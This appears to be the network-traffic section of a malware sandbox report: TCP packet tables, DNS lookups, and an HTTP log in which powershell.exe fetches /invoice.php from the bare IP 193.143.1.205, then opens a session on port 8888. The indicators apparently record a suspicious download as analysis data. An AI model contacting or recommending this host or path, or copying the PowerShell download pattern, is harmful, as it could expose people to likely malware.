Jan 11, 2025 03:32:10.460443974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.460465908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.460484028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.460501909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.460517883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.460520029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.460555077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.460727930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.460747004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.463335037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.488481998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.488503933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.488524914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.488610983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.488639116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.488657951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.488675117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.488677025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.488696098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.488714933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.488755941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.488755941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.488914967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.488934040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.488962889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.488977909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.488980055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.488998890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.489017010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.489032030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.489034891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.489090919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.489214897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.489233971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.489252090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.489259005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.489270926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.489439964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.489458084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.489459038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.489517927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.520117998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520143986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520174026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520185947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520200968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520221949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520231009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.520241976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520272970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520291090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520292997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.520315886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.520344973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.520389080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520412922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520430088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520447016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520453930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.520483017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.520550013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520627022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520646095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520663977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520664930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.520683050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520699978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520700932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.520747900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.520925045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520940065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520957947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520977020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.520979881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.521024942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.521222115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.521239996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.521259069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.521277905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.521281004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.521295071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.521311998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.521327972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.521330118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.521337986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.521357059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.521368027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.521375895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.521395922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.521414995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.521796942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.521814108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.521828890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.521845102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.521858931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.521869898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.521874905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.521878004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.521889925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.521903992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.521912098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.521919012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.521965981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.522151947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.522166014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.522181034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.522198915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.522218943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.522300005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.522315025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.522329092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.522344112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.522357941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.522361994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.522366047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.522378922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.522394896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.522397041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.522406101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.522408962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.522423983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.522438049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.522439957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.522453070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.522478104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.522514105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.523197889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.523212910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.523226976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.523240089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.523253918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.523255110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.523267984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.523272038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.523282051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.523288965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.523302078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.523303032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.523327112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.523336887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.523341894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.523355961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.523366928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.523370028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.523385048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.523395061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.523399115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.523418903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.523876905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.524146080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.524161100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.524173975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.524188995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.524189949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.524195910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.524209976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.524216890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.524224043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.524236917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.524238110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.524252892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.524266958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.524267912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.524281025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.524295092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.524296045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.524311066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.524326086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.524338007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.524342060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.524342060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.524375916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.527333975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.550909042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.550930977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.550947905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.551029921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.551047087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.551049948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.551063061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.551069975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.551098108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.551175117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.551189899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.551245928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.578948975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.578999996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.579015017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.579097986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.579113007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.579128027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.579144001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.579144955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.579257011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.579355001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.579387903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.579404116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.579413891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.579416990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.579428911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.579441071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.579444885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.579453945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.579468966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.579502106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.579797029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.579808950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.579821110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.579833984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.579844952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.579857111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.579868078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.579869986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.579900026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.579930067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.610670090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.610692978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.610708952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.610752106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.610759974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.610769033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.610785961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.610827923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.610930920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.610946894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.610961914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.611078024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.611085892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.611093998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.611109972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.611125946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.611126900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.611151934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.611351013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.611366034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.611381054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.611392021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.611396074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.611428976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.661565065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.685564041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:11.412826061 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:11.417790890 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:11.417963028 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:11.418042898 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:11.422838926 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:12.233328104 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:12.286493063 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:13.825762987 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:32:24.353816032 CET	61289	53	192.168.2.5	1.1.1.1
Jan 11, 2025 03:32:36.968991041 CET	65338	53	192.168.2.5	1.1.1.1
Jan 11, 2025 03:32:50.515981913 CET	49430	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:32:24.353816032 CET	192.168.2.5	1.1.1.1	0xebfd	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:32:36.968991041 CET	192.168.2.5	1.1.1.1	0x7bc4	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:32:50.515981913 CET	192.168.2.5	1.1.1.1	0x64b7	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 11, 2025 03:32:24.360575914 CET	1.1.1.1	192.168.2.5	0xebfd	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:32:36.976241112 CET	1.1.1.1	192.168.2.5	0x7bc4	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:32:50.523221016 CET	1.1.1.1	192.168.2.5	0x64b7	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	7148	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:32:09.058270931 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:32:09.851758003 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:32:09 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:32:09.851785898 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:32:09.851798058 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 03:32:09.857131004 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 03:32:09.857144117 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
